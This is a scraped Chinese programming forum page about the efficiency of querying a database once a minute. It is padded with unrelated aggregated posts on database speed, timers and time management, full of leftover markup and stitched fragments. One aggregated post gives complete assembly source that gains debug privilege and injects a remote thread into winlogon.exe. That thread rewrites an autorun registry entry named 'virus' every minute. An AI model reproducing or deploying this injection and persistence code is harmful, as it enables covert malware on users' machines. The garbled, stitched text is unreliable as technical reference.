每一分钟访问一次数据库,效率问题 [问题点数:20分,结帖人u010051858]

Bbs1
本版专家分:0
结帖率 100%
Bbs7
本版专家分:10517
Bbs6
本版专家分:5968
Bbs1
本版专家分:0
Bbs7
本版专家分:12371
Blank
黄花 2013年12月 Delphi大版内专家分月排行榜第二
Blank
蓝花 2014年4月 Delphi大版内专家分月排行榜第三
2014年3月 Delphi大版内专家分月排行榜第三
2013年5月 Delphi大版内专家分月排行榜第三
2013年1月 Delphi大版内专家分月排行榜第三
2010年11月 Delphi大版内专家分月排行榜第三
2009年12月 Delphi大版内专家分月排行榜第三
2009年11月 Delphi大版内专家分月排行榜第三
Bbs5
本版专家分:4846
Blank
蓝花 2016年3月 移动开发大版内专家分月排行榜第三
Bbs1
本版专家分:0
Bbs7
本版专家分:12371
Blank
黄花 2013年12月 Delphi大版内专家分月排行榜第二
Blank
蓝花 2014年4月 Delphi大版内专家分月排行榜第三
2014年3月 Delphi大版内专家分月排行榜第三
2013年5月 Delphi大版内专家分月排行榜第三
2013年1月 Delphi大版内专家分月排行榜第三
2010年11月 Delphi大版内专家分月排行榜第三
2009年12月 Delphi大版内专家分月排行榜第三
2009年11月 Delphi大版内专家分月排行榜第三
Bbs1
本版专家分:0
Bbs2
本版专家分:201
重视职场每一分钟
拿破仑·希尔是美国历史上最棒的时间管理顾问,他认为,一个人能否成功,很大程度上取决于他如何掌握时间、运用时间。所以学会利用时间是每一个渴望成功的人的一门必修课。为此,他在研究了数百位成功人士后,为我们提出了一个较详尽的方案:     1.将目标尽可能地细化。     针对个人成长和视野发展列出年度目标,并在此基础上列出季度目标,再细分成每月、每周目标。     2.为自己准备 一个综合笔记本...
安卓访问数据库效率
我想问一下rn安卓直接<em>访问</em><em>数据库</em>的<em>效率</em>高还是<em>访问</em>一个MAP集合的<em>效率</em>高呢?rn在一个查询功能中rn每<em>一次</em>查询都<em>访问</em><em>一次</em><em>数据库</em>好还是rn先<em>访问</em><em>数据库</em>把<em>数据库</em>的信息放在一个MAP集合中rn然后每<em>一次</em>查询直接<em>访问</em>MAP集合好呢?rn求指导!!!
提高数据库访问效率
我以前用C++ Builder 和Oracle完成一个C/S结构的开发,<em>数据库</em>设计非常简单,一共只有几张表(没有试图或更高级的东西)。所以表很长,所以每次遍历记录查询的时候,会停顿很长时间。我现在想改用JSP实现这个程序,不知道如何提高<em>访问</em><em>效率</em>。不知道各位高人有何见解?
每十秒读一次数据库
有一张表T_a 两个字段Id,XXX。rn数据会不断的增加,Id自增。rn需求每隔十秒过来读<em>一次</em>,然后记下读到哪个Id了,记下来。如果数据增加了,然后下<em>一次</em>来就接着读。那么这个Id要存在哪里合适呢?肯定是要一个静态的成员变量。rn另外没十秒读<em>一次</em>,怎么实现合适呢?起一个线程然后sleep?那connection用不用释放呢?rn高手帮忙分析下好不?
监听时间,每变一分钟响应一次.zip
使用了Service和BroadcastReceiver监听时间,每变<em>一分钟</em>响应<em>一次</em>
每几秒钟访问一次数据库并读写 影响性能吗?
设这样的:rn监控客户端要监控每个点的温度数据(有几十个点),有多个客户端采集到数据后上传到<em>数据库</em>中。rn但是[b]用户端[/b]想要实时看到这所有点的数据,这就需要每个几秒钟读取<em>一次</em><em>数据库</em>的数据,rnrn感觉越实时(刷的频率越快)越影响<em>数据库</em>的性能,求高人指点下这样的刷<em>数据库</em>好不好。有没有别的办法做到实时
注入winlogon(每一分钟写入注册表启动项一次自身的文件路径)
Main.asm:rn.386rn.model flat,stdcallrnoption casemap:nonerninclude windows.incrninclude kernel32.incrninclude user32.incrninclude advapi32.incrninclude th32.incrnincludelib kernel32.librnincludelib user32.librnincludelib advapi32.librnincludelib th32.librn.data?rnlpGetProcAddress dd ?;需要被写入远程线程的函数rnlpGetModuleHandle dd ?rnlplstrlen dd ?rnlpSleep dd ?rnlpFileName db 256 dup (?);写入远程线程的自身文件名,用于写入注册表rnlpRemoteCode dd ?;远程线程开辟空间的起始地址rnhModule dd ?rnhToken dd ?rnhProcess dd ?rnhToolHelp dd ?rnstTkp TOKEN_PRIVILEGES <>;调整权限rnstProcess PROCESSENTRY32 <>;查找winlogon进程rndwWinlogon dd ?;winlogon进程号rndwTemp dd ?rn.constrnszKernelDll db 'kernel32.dll',0rnszGetProcAddress db 'GetProcAddress',0rnszGetModuleHandle db 'GetModuleHandleA',0rnszlstrlen db 'lstrlenA',0rnszSleep db 'Sleep',0rnszErrOpen db 'Can not open thread',0ah,0dh,0rnszDebugName db 'SeDebugPrivilege',0rnszWinlogonName db 'winlogon.exe',0rn.coderninclude RemoteThread.asmrnstart:rn;*********************************************************************rn;获得需要写入的函数地址,这种方法成功原因是因为kernel32.dll是所有进程共用的rn;并写入文件名rn invoke GetModuleHandle,offset szKernelDll;rn mov hModule,eaxrn invoke GetProcAddress,hModule,offset szGetProcAddressrn mov lpGetProcAddress,eaxrn invoke GetProcAddress,hModule,offset szGetModuleHandlern mov lpGetModuleHandle,eaxrn invoke GetProcAddress,hModule,offset szlstrlenrn mov lplstrlen,eaxrn invoke GetProcAddress,hModule,offset szSleeprn mov lpSleep,eaxrn invoke GetModuleFileName,NULL,addr lpFileName,sizeof lpFileNamern;*************************************************************************rn;调整当前进程的权限,设置成调试权限,才能打开winlogonrn invoke GetCurrentProcessrn invoke OpenProcessToken,eax,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,addr hTokenrn invoke LookupPrivilegeValue,NULL,offset szDebugName,addr stTkp.Privileges[0].Luidrn mov stTkp.PrivilegeCount,1rn mov stTkp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLEDrn invoke AdjustTokenPrivileges,hToken,FALSE,addr stTkp,NULL,NULL,NULLrn;***************************************************************************rn;查找winlogon的进程号rn invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,NULLrn mov hToolHelp,eaxrn mov stProcess.dwSize,sizeof stProcessrn invoke Process32First,hToolHelp,addr stProcessrn mov ebx,eaxrn .while ebx==TRUErn mov stProcess.dwSize,sizeof stProcessrn invoke Process32Next,hToolHelp,addr stProcessrn lea edx,stProcess.szExeFilern invoke lstrcmp,edx,offset szWinlogonNamern .if eax==0rn push stProcess.th32ProcessIDrn pop dwWinlogonrn .breakrn .endifrn .endwrn;***************************************************************************rn;打开winlogon进程rn;开辟空间rn;写入进程数据rn invoke OpenProcess,PROCESS_VM_OPERATION or PROCESS_VM_WRITE or PROCESS_CREATE_THREAD,FALSE,dwWinlogonrn .if eaxrn mov hProcess,eaxrn invoke VirtualAllocEx,hProcess,NULL,REMOTE_CODE_LENGTH,MEM_COMMIT,PAGE_EXECUTE_READWRITErn .if eaxrn mov lpRemoteCode,eaxrn invoke WriteProcessMemory,hProcess,lpRemoteCode,offset REMOTE_CODE_START,\rn REMOTE_CODE_LENGTH,addr dwTemprn invoke lstrlen,offset lpFileNamern add eax,sizeof dword*4rn invoke WriteProcessMemory,hProcess,lpRemoteCode,offset lpGetProcAddress,\rn eax,addr dwTemprn mov eax,lpRemoteCodern add eax,offset _RemoteThread-offset REMOTE_CODE_STARTrn invoke CreateRemoteThread,hProcess,NULL,NULL,eax,0,0,NULLrn invoke CloseHandle,eaxrn .endifrn invoke CloseHandle,hProcessrn .elsern invoke MessageBox,NULL,offset szErrOpen,NULL,MB_OK or MB_ICONWARNINGrn .endifrn invoke ExitProcess,NULLrn end startrnrn rnrn rnrn rnrn rnrn rnrn rnrnRemoteThread.asm:rn;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rnREMOTE_CODE_START equ this bytern_lpGetProcAddress dd ?rn_lpGetModuleHandle dd ?rn_lplstrlen dd ?rn_lpSleep dd ?rn_lpFileName db 256 dup (?)rn_lpRegOpenKeyEx dd ?rn_lpRegSetValueEx dd ?rn_lpRegCloseKey dd ?rn_szAdvapiDll db 'advapi32.dll',0rn_szRegOpenKeyEx db 'RegOpenKeyExA',0rn_szRegSetValueEx db 'RegSetValueExA',0rn_szRegCloseKey db 'RegCloseKey',0rn_szSubKey db 'Software\Microsoft\Windows\CurrentVersion\Run',0rn_szKeyName db 'virus',0rn_szKeyValue db 'dirlt',0rn_hKey dd ?rn;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn_RemoteThread proc uses ebx edi esi lParamrn local @hModule:dwordrn call @frn @@:rn pop ebxrn sub ebx,offset @brn;********************************************************rn;得到RegOpenKeyExrn;RegSetValueExrn;RegCloseKey地址rn lea eax,[ebx+offset _szAdvapiDll]rn push eaxrn call [ebx+_lpGetModuleHandle]rn mov @hModule,eaxrn lea edi,[ebx+_lpRegOpenKeyEx]rn lea esi,[ebx+_szRegOpenKeyEx]rn mov edx,3rn .repeatrn push esirn push @hModulern call [ebx+_lpGetProcAddress]rn mov [edi],eaxrn add edi,4rn @@:rn lodsbrn or al,alrn jnz @brn dec edxrn .until edx==0rn;*******************************************************rn;每秒写入<em>一次</em>注册表rn .while TRUErn lea eax,[ebx+offset _hKey]rn push eaxrn push KEY_ALL_ACCESSrn push 0rn lea eax,[ebx+offset _szSubKey]rn push eaxrn push HKEY_LOCAL_MACHINErn call [ebx+_lpRegOpenKeyEx]rn push sizeof _lpFileNamern lea eax,[ebx+_lpFileName]rn push eaxrn push REG_SZrn push 0rn lea eax,[ebx+_szKeyName]rn push eaxrn push [ebx+offset _hKey]rn call [ebx+_lpRegSetValueEx]rn push [ebx+offset _hKey]rn call [ebx+_lpRegCloseKey]rn push 60000rn call [ebx+_lpSleep]rn .endwrn retrn_RemoteThread endprnREMOTE_CODE_END equ this byternREMOTE_CODE_LENGTH equ offset REMOTE_CODE_END-offset REMOTE_CODE_STARTrnrnrn
asp.net 中访问数据库效率问题
各位大侠,想问几个关于asp 开发的<em>问题</em>。rn1、在编程时,是自己写sqlstr用sqlconn、sqlcomm<em>访问</em>和更新<em>数据库</em>好,还是用sqldatasource向导<em>访问</em><em>数据库</em>更好。rn2、在页面中对同一个<em>数据库</em>进行selcet、insert、update、databind,是用一个sqldatasource好,还是每项操作各用一个sqldatasource好。rn3、在默认状态下,<em>数据库</em>连接池是打开的,还是关闭的,应如何设置。
对ORALCE数据库的多线程访问效率问题
我听我们老师说<em>数据库</em>的多线程<em>访问</em>时,在<em>数据库</em>的查询方面并不是很有效的,也做过实验,多线程<em>访问</em>时整个程序执行速度并不快,为什么呢,按说多线程速度应该快啊,是不是在程序<em>数据库</em>操作上有瓶颈啊
三层结构访问数据库效率非常的问题
各位领导:rn我用delphi 5.0的三层结构模式开发<em>数据库</em>软件,但是我发现用应用服务器<em>访问</em><em>数据库</em>的<em>效率</em>非常的低,因为我必须用三层机构结构,所以我迫切想知道提高<em>访问</em><em>效率</em>的方法。rn测试数据如下:rn <em>数据库</em>:access2000 ODBC:ver 4.00.4403.02 <em>访问</em>时间单位:秒 记录数:20000rn 第<em>一次</em> 第二次 第三次 第四次 第五次 rn用BDE直接<em>访问</em>: 0.148 0.135 0.130 0.130 0.131rn用三层方式<em>访问</em>: 14.101 13.925 13.796 13.825 13.790 rnrn测试结论:用BDE直接<em>访问</em>比用三层方式<em>访问</em>整整快了一百倍. rnrnrn
如何提高访问数据库效率
我写了一个Java Bean(sqlBean),里面封装了操作<em>数据库</em>的方法.rn当我的JSP页面或其它的Bean要操作<em>数据库</em>时就调用sqlBean,但我现在知道数据池这个东东,据说可以提高<em>效率</em>,我能否修改我的sqlBean来达到目的?在我调用了sqlBean之后,是否应该让连接释放?
用连接池访问数据库效率
我用连接池提高Servlet<em>访问</em>数据的<em>效率</em>,在classpath中应该怎样设置db.properties
访问xml和访问数据库性能,效率比较
请问一下,如果客户端 IE ,用户<em>访问</em>的页面需要加载一定的量的数据,这些数据都是从数据据里取出来的数据,但变动量是几个小时,甚至几天变动<em>一次</em>。我的想法是将数据从数据里取出来放入xml文件中,再由 js解析这个 xml 文件,或都直接每次<em>访问</em><em>数据库</em>,加载数据..我想请问一下,这两种方法的优点和缺点是什么,能否详解一下!
内存访问效率问题
<em>问题</em>是这样的: rnrn在windows xp下,通过filemapping申请了1g多的共享内存,在做性能测试的时候, rn发现有若干内存<em>访问</em>操作耗时相当的长,时间是秒级别的。查了一些资料,说是可能 rn和内存缺页有关,请问各位有大约是怎么回事,如何可以解决这个<em>问题</em>?
关于数据库访问效率问题
看了很多关于数据<em>访问</em>方面的资料,有些说用dataset好,有些说直接用数据读取器要好点,但我现在想做一个新闻系统,就遇到了这方面的<em>问题</em>,如果在首页只显示新闻,用哪种方法要好点呢?
每隔一分钟调用一次exe
问问相关的apirnCreateProcessrn完后呢?rn有没有例子学学...rn我这里光有调用,没有杀死进程的代码,高手帮忙说说怎么改啊rn[code=C/C++]rn#includern#include rn#include rn#include rnrnrnint main(int argc, char * argv[]) rn STARTUPINFO si = 0;rn si.cb = sizeof(si);rn PROCESS_INFORMATION pi = 0;rnrn CreateProcess(NULL, "NeNe_lesson2.exe", NULL, NULL, TRUE , 0, NULL, 0, &si, &pi);rn CloseHandle(pi.hThread);rnrn WaitForSingleObject(pi.hProcess, -1);rnrn int nExitCode = 0;rn ::GetExitCodeProcess(pi.hProcess, (LPDWORD)&nExitCode);rn CloseHandle(pi.hProcess);rnrn // printf("press any key to continue...\n");rnrn //getchar();rn return nExitCode; rnrnrnrnrn[/code]
每个一分钟提醒用户一次
在javascript中,要写一个个<em>一分钟</em>提醒一下用户的程序,不是按下确定键在继续计时,而是连续的计时,如果用户没有按确定键也照样计时,并且可以出不止一个提示框
页面每刷新一次,就要读取一次数据库??
php页面调用mssql<em>数据库</em>的内容,生成了一个树型菜单。rnrn发现php页面每刷新<em>一次</em>时,就会从mssql读<em>一次</em>数据。rnrnrnrn我想让页面在第一打开时只读取<em>一次</em><em>数据库</em>,并且之后的刷新不再通过网络读取mssql<em>数据库</em>。rnrnrn有没有什么好的解决方法啊?
每五分钟检测时间一次
各位好,我想写一个小程序,每五分钟获取系统时间<em>一次</em>,如果时间区间在0:00到5:00之间则强制关机,获取时间和关机的函数已经写出,但是不知道每五分钟调用<em>一次</em>获取时间函数的算法该如何写,(程序运行后一直驻留在测内存中,自动计时,每五分钟调用获取时间函数<em>一次</em>),各位高手能否给一段代码?
cron表达式,每一小时一次
是这样写吗?rn0/1 * * * *?rnrnrn急用。
多次访问数据库快,还是一次访问数据库
问大家一个性能<em>问题</em>。rn现在我有一个操作,可以在应用程序中多次<em>访问</em><em>数据库</em>实现,也可以封装成<em>一次</em>存储过程实现。这两种实现哪种<em>效率</em>高呢?
一个不算太难的问题:怎样每1分钟刷新一次数据库
ok。我vb连sql好不容易连上了,现在我尝试以下语句:rn rst.Open sSql, cn, 1, 3rn rst.Fields(0) = Label1.Captionrn rst.Updatern结果发现连接正常,label1的数据很顺利的存入了<em>数据库</em>。由于我的label1的数据是连续变化的,所以我想加入一个timer控件,每过1分钟,执行command1_click的代码,把label1的值传入<em>数据库</em>。问该如何做?
JAVA石英钟,每一分钟都有报时
ddddddddddddddddddddddddddddddddddddddddddd!!!
通过token统计每一分钟的在线人数
//统计每<em>一分钟</em>的在线人数 public function online(){ $token = input(&quot;post.token&quot;); if($token!= ''){ $tokenarr = Db::name('online')-&amp;gt;where(['token'=&amp;gt;$token,'status'=&amp;gt;1])-&amp;gt;find(); ...
sql2000每用户访问数据库连接数设置
在sql2000上面建立了多个用户,想分别对这些用户设置连接数限制rn比如:rna用户对a<em>数据库</em><em>访问</em>,同时并发的链接最多到20个rnb用户对b<em>数据库</em><em>访问</em>,同时并发的链接最多到30个rnrnrnrn这个要怎么实现?rn谢谢rn
链接数据库效率问题
使用JDBC,根据时间段汇总数据:假如我有10个时间段,:我可以使用两种方法汇总数据:1,查询出全部数据,使用循环,匹配时间。进行汇总。rn 2.使用SQL中,count()函数与group by 等查询。如果有10个时间段,可能要10次链接<em>数据库</em>查询。rn<em>问题</em>:假如有几十万,甚至100万数据。每个时间段也可能有几十万条记录。rn使用那种方法,<em>效率</em>高呢?或者哪位可以指导使用其他的方法呢??rn现在时间段是10。如果时间段是20个甚至更多呢??rn请大家指点。谢谢。
请问数据库效率问题
如何设计<em>数据库</em>能保证<em>效率</em>最优化rnrn能不能给点提示或相关的资料
数据库效率问题
请问在几百万条的<em>数据库</em>中查询它的记录总数怎样才能以最快的速度查出来啊,急!!!rn谢谢各位了啊
PostgreSQL 数据库效率问题
<em>数据库</em>机器为pc机 p4 2.8g 512m ddr, 80g rn<em>数据库</em>中只有一个表 d_jobtaskrn结构如下:rnCREATE TABLE d_jobtaskrn(rn id serial NOT NULL,rn jobfileaddress varchar(256) NOT NULL,rn formatid varchar(20),rn jobid varchar(10),rn joblevel int4,rn attribute int4,rn status int4,rn operatorid varchar(20),rn receivetime timestamp(6),rn deadline timestamp(6),rn fileid varchar(256),rn pageid int4,rn CONSTRAINT id PRIMARY KEY (id)rn) rnrn表中纪录为5870条,select * from d_jobtask 耗时16**msrnrn请问<em>问题</em>在什么地方?谢谢
数据库效率问题
我有7张表进行关联,每张表有纪录约60万条,现在我用内连接(inner join)将表链接后进行数据筛选,但速度超慢。请问如何解决?
问个数据库效率问题
比如几篇几十万字的文章,进行列表和分页操作,每页1000字。rnrn下面哪个操作<em>效率</em>高?rn1.nvarchar/text存储整篇文章,然后读取限定字节。rn2.用nchar(1000),然后根据文章ID和分页ID去读取rnrn用于WEB.
数据库多表查询的效率问题
要用JAVA做一个试卷答题结果的统计,需要查询问卷答题人的信息,我想到两种方式,第一种是连表查询rnselect 试卷参与人.*,人员账号.姓名,部门.名称 from 试卷参与人,人员账号,部门 where 试卷参与人.人员账号编号=人员账号.编号 and 人员账号.部门编号=部门.编号rn第二种是先查询出问卷参与人,然后再根据问卷参与人的人员账号编号从人员账号表中查询出人员姓名赋值给那个参与人对象,同样再查<em>一次</em>部门表把部门名称给参与人对象
数据库基础效率问题
更新一张只有3列的表,一张有30列的表中其中一条记录 速度是一样的么?rn 影响查询<em>效率</em>的因素有哪些? rnrn
数据库插入效率问题
用什么方法可以提高<em>数据库</em>的插入<em>效率</em>?(sqlserver2008)rn目前的状况是需要 先查询后插入(有重复的记录则数值+1)rnrn我使用的是存储过程(3w多条记录花了十几分钟) 有什么方法可以提高的吗?
数据库远程连接效率问题
我有三台服务器A、B、C,其中一台 A 是专用于做 MySQL <em>数据库</em>,另外两台 B、C 作web服务器,这两台web服务器都使用 A 中的<em>数据库</em>,但 A 与 B 是同一机房的机器,而 C 则是几千里外的机器。rnrn我做了一个页面程序,同时应该用于B、C 机器中:rn在 B 中连接 A <em>数据库</em>,并完成<em>数据库</em>操作时间为 0.1 秒,很多时候 0.07 秒就完成了;rn但在 C 中连接 A <em>数据库</em>并完成<em>数据库</em>操作则要使用 0.5x 秒,而且有时还会出现 1.x秒的情况。rnrn我现在需要是把 C 连接 A <em>数据库</em>的时间尽是控制的小一点!当然,如果能稳定在世界上 0.5x 也是可以的,重要的是,经常会出现 1.x 秒,因为系统是时间性很强的,很郁闷。rnrn大家有什么好的解决办法吗?
读写数据库效率问题
做了个购物系统,有些配置存放在<em>数据库</em>中,例如网站的地址、标题、公司名称、logo地址、页面商品的显示数量等等,这些内容一般很少变动,但是有需要客户能够自己轻松更改,每次打开页面的时候都要读取这些配置的数据,我感觉这样读些<em>数据库</em><em>效率</em>太低了,有没有什么好的方法?例如放在Web.config里或是一个xml文件里面读取?哪种<em>效率</em>高呢?盼望高手指点!
打开数据库效率问题
做一个论坛,用户较多,如果每个用户登录都执行<em>一次</em>打开<em>数据库</em>,耗时较长。rn是不是可以把<em>数据库</em>一直开着,每次用户登录时直接读取数据就行了?rnrn请高手指点!
数据库select效率 问题
当数据达到几百万条的时候,如何去提高<em>数据库</em>select<em>效率</em>??
数据库程序效率问题
有个<em>数据库</em>程序可用以下两种方法实现:rn1.用高级语言(如 BCB6)的控件实现<em>数据库</em>的读写等操作;rn2.SQL语言编程,用触发器、存储过程来实现。rnrn问:两种方法哪种<em>效率</em>高?就是处理速度快、占用资源小。rn
数据库 select效率问题
当表数据很多时。nSELECT *nfrom T_ITEU_ORDERn这个语句查询速度会很慢,n而加了where语句则很快。nnSELECT *nfrom T_ITEU_ORDERnwhere BUSINESSSTATUS=2nn筛选机制是怎样?n难道不是一条条数据进行比较,这样的话加了条件应该会更慢的吧?
一分钟了解redis数据库
<em>一分钟</em>了解redis<em>数据库</em> Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value<em>数据库</em>,并提供多种语言的API Redis 是一个高性能的key-value<em>数据库</em>。 redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部 分场合可以对关系<em>数据库</em>起到很好的补充作用。它提供了Java,C/C++,C#,PHP,J...
有关数据库效率问题
有两个access的MDB文件,每个文件里都有一个表为ta,ta有两个字段为"名称","数量",现在要合并这两个MDB文件的数据形成第三个文件,第三个文件数据结构和这两个MDB文件一致。合并时如果名称相同则数量相加,否则addnew.我用VC+ADO,我的思路是依此打开被合并MDB文件,采用循环一条记录一条记录的从被合并文件里读数据(采用SQL),然后打开第三个文件查找是否有名称相同记录,有则相加,无则addnew.当被合并MDB文件数据很多时需要很长时间,请问有没有<em>效率</em>高一点的方法?如果有能否给出SQL例子
数据库入库效率问题
我使用ado方法,用pCommand执行sql语句insert into来插入大批量的数据进<em>数据库</em>。感觉入库速度比较慢(不管是access还是sql server都如此),请教有没有更好更快的入库方法,前提是使用ado不变。如果是利用sql server的性能也可以
数据库的删除效率问题
我的<em>数据库</em>有50000条记录,里面有许多重复的,我用sqlplus删除,但是sqlplus总是死在那儿。请问如何才能有效的删除这些重复记录rn我的sql语言是delete fromrntest a where rowid >rn(select min(rowid) from test brnwhere a.a1 = b.a1 and a.a2 = b.a2);
【急救】数据库效率问题
小弟我现在<em>数据库</em>里面数据已经有几百万条记录,各项索引都已经做了但还是不行,我看到有对表进行视图分区的,但不知怎么做,对机器有什么要求???rnrnrn我现在操作系统是win2k专业版+sql7.0rnrn但我有一台hp net server200的服务器可以用,请问具体要怎么做呢???我还看到有Raid,我也不会麻烦赐教。rnrn小弟拜谢啦!
数据库开关效率问题
一个<em>数据库</em> 100W数据rnrn查100条数据rnrn是用in 只开关<em>一次</em><em>数据库</em>好rn还是查100次 开关100次好?rnrnrnin值是主键、索引、或者其他都可以
vb.net访问oracle效率问题
在我的应用程序中采用Oracle.DataAccess.Client方式对oracle进行直连rn但是发现比原来的odbc连接方式慢了很多。有没有什么办法可以提高oracle的<em>访问</em>速度阿。rn是不是odbc对连接池进行了优化,是否可以通过优化连接池的方式提高<em>访问</em>速度呢?rnrn
有关页面访问效率问题
我的页面中有很多内容需要从<em>数据库</em>中读取,考虑到页面的<em>访问</em>速度,我想到提高<em>效率</em>几个方法,特此请教各位,那种方法更好?或者还有其它的什么更好的方式:rnrn1、直接<em>访问</em><em>数据库</em>rn实时性好:更新了<em>数据库</em>中的内容,页面中也会及时得到更新rnrn2、按一定规则把<em>数据库</em>中的内容写成磁盘html文件,然后在页面中include、iframe这个html文件rn这个规则可以是:rnA、写个程序,每1小时或者没10分钟,动态把<em>数据库</em>中的内容写成磁盘html文件。这样有可能<em>数据库</em>中的数据常时间不更新,程序同样要不断的产生写html文件,也会耗费资源。rnB、做个<em>数据库</em>触发器,数据有更新是,把<em>数据库</em>中的内容写成磁盘html文件。这样,有可能<em>数据库</em>中的数据更新过于频繁,程序同样要不断的产生写html文件,也会耗费资源。rnrnrn3、按一定规则把<em>数据库</em>中的内容写成磁盘js文件,然后在页面中调用js文件rn规则同2rnrn4、按一定规则把<em>数据库</em>中的内容写成磁盘xml文件,然后在页面中绑定xml文件中的数据rn规则同2rnrnrnrn就页面中读取HTML、JS、XML中的数据,用那种方式比较好?rnrn欢迎大家畅所欲言rnrnrnrnrn
大数组的访问效率问题
bool ** ppb;rnbool * pb;rnppb=(bool**)malloc(sizeof(bool*)*1000000);rnfor(i=0;i<1000000;i++)rnrn pb=(bool*)malloc(sizeof(bool)*100);rn ppb[i]=pb;rn 。。。rnrn对这个1000000*100的数组(占用100M内存)进行频繁的随机<em>访问</em>,如<em>访问</em>ppb[i][j]时,只要i是变化的,<em>效率</em>会比较小的数组(比如1000*100)要低很多倍。rn请问这是什么原因,这个<em>问题</em>有方法解决吗?
请问如何统计一个页面的访问次数? 访问次数每刷新一次累加一次
比如: 要统计 1.asp?id=10 这样的页面?
请问怎样提高访问数据库效率
小弟使用 ASP + activexDll 做了一个论坛rn当同时<em>访问</em>人数超过 500 人以后 连接<em>数据库</em>就会不定期的产生错误rn估计是SQL<em>数据库</em>有些不堪重负rnrn但是500人同时<em>访问</em>应该不是很大的数字rn但为什么会这样呀rnrn使用 com + ado + sqlserver2000rn<em>访问</em><em>数据库</em>应该注意那些地方rn
使用adbapi提高访问数据库效率
在某些爬虫项目下,我们需要每次执行一条插入语句,就立即调用commit方法更新<em>数据库</em>,如果爬取时间太长,中途可能被迫中断,这样程序就不能执行close_spider中的commit。但如果在insert_db中直接加入commit,又会使程序执行变得很慢。这里就可以使用Twisted中提供的以异步方式多线程<em>访问</em><em>数据库</em>的模块adbapi,可以显著提供程序<em>访问</em><em>数据库</em>的<em>效率</em>。 adbapi.Conne...
访问数据库效率孰高孰低?
大家说说<em>访问</em><em>数据库</em>的各种方法的<em>效率</em>孰高孰低?
提高Java访问数据库效率的探讨
计算机技术的更新促进了Java技术的调整改革,这对于企业的信息化发展有着重要的作用。当前,大部分企业选择了Java技术创建电子商务平台,满足了网络化交易服务的需要。<em>访问</em><em>数据库</em>是Java技术尤为关键的组成,其使用状况直接影响了整个企业管理系统作用。基于此,本文对如何提高Java<em>访问</em><em>数据库</em><em>效率</em>进行了探讨。
大家讨论一下用java访问数据库效率
比如jdbc和odbc,<em>数据库</em>的api等等,不同重类<em>数据库</em>对java<em>访问</em>的速度
vb 提高效率 包括访问数据库效率
先看代码[code=VB]rnrnPrivate Sub Command3_Click()rnDim myDGN As DesignFilernSet myDGN = OpenDesignFile("D:\wei\友爱南路.dwg")rnmyDGN.SaveAs "D:\wei\友爱南路.dgn", True, msdDesignFileFormatV8rnSet myDGN = OpenDesignFile("D:\wei\友爱南路.dgn")rn rn '修改层名rn Dim lvl As Levelrn Set lvl = myDGN.Levels("KZD")rn lvl.Name = "层1"rn Set lvl = myDGN.Levels("JMD")rn lvl.Name = "层2"rn Set lvl = myDGN.Levels("DLDW")rn lvl.Name = "层3"rn Set lvl = myDGN.Levels("DLSS")rn lvl.Name = "层4"rn Set lvl = myDGN.Levels("GXYZ")rn lvl.Name = "层5"rn Set lvl = myDGN.Levels("SXSS")rn lvl.Name = "层6"rn Set lvl = myDGN.Levels("JJ")rn lvl.Name = "层7"rn Set lvl = myDGN.Levels("DMTZ")rn lvl.Name = "层8"rn Set lvl = myDGN.Levels("ZBTZ")rn lvl.Name = "层9"rnrn myDGN.Levels.RewriternrnDim pEle As ElementrnDim pEleenum As ElementEnumeratorrnrnSet pEleenum = myDGN.DefaultModelReference.Scan()rnrnDim xlConn As New ADODB.ConnectionrnrnDim strConn As StringrnDim xlRs As New ADODB.Recordsetrn rn'连接<em>数据库</em>的字符串rnstrConn = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source= 'D:\wei2\zhou3\最终对应表改.xls';Extended Properties='Excel 8.0;HDR=yes;IMEX=1'"rn'打开Excel连接rnxlConn.Open strConnrn '循环选择集rn While pEleenum.MoveNextrn Set pEle = pEleenum.Currentrn Set xlRs = New ADODB.Recordsetrn rn '像打开<em>数据库</em>一样,使用SQL语言,打开名称为“sheet1”的工作表rn xlRs.Open "select 中心编码,中心线型,中心线宽,中心色索引 from [sheet1$] where CASS地物编码 LIKE '" + myGetXData(pEle, "SOUTH") + "'", xlConn, adOpenStatic, adLockReadOnlyrn rn If Len(xlRs("中心编码")) <> 0 Thenrn pEle.Color = xlRs("中心色索引")rn pEle.LineWeight = xlRs("中心线宽")rn pEle.Rewritern End Ifrn xlRs.Closern Wendrn MsgBox "OK!"rn xlConn.Closern Set pEle = Nothingrn Set pEleenum = NothingrnmyDGN.Savern rnmyDGN.ClosernSet xlRs = NothingrnSet xlConn = NothingrnSet myDGN = NothingrnEnd Subrn[/code]rn这段代码运行2分29秒,速度有点慢了,感觉上是遍历的元素过多几万个应该有,而且每次循环都要执行SQL<em>访问</em>Excel表,不知道能否提高下这个<em>访问</em>的<em>效率</em>
delphi访问数据库是不是效率很低?
在delphi里面用ado控件+odbc数据源<em>访问</em>本机上的sql server和sybase<em>数据库</em>rn速度都相当慢,对一个几千万条记录的表进行查询大概要4,5秒种,rn比在Query Analyzer或者vc里面执行同样的语句要慢很多。rn换成bde速度基本没有提高。rn这可能是什么原因?rn是我的程序编的不对,还是delpi<em>访问</em><em>数据库</em>本来就这么慢?rn或者是odbc数据源的<em>问题</em>?
每刷新一次就提交一次数据的问题?
我想把添加留言与查看留言弄到一页面中,可以每刷新<em>一次</em>网页数据就自动提交这是什么原因.代码如下:rnrnrnrn rn --欢迎您好的光临rn rnrnrn rn rn rn rn 心海留言本程序rn rnrn rnrn rn rn -==添加留言==-rnrn rn rn rn rn rn rn 你的名字:rn rn rn rn 选择头像rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rn rnrnrnrnrn rn rn 你的主页:rn rnrn rn 你的OICQ:rn rnrn rn 你的邮箱:rn rnrn rn 留言主题:rn rnrn rn 留言内容: rn rn rnrnrnrnrnrnrnrnrn rn
访问调用一次接口,数值就加一
首先写一个全局类Num,里面定义一个静态变量num public class Num { public static int num=0; } 在接口中使用时:int num=Num.num; ++Num.num; 这样就可以了。 ...
如何把每访问一次页面字段值+1
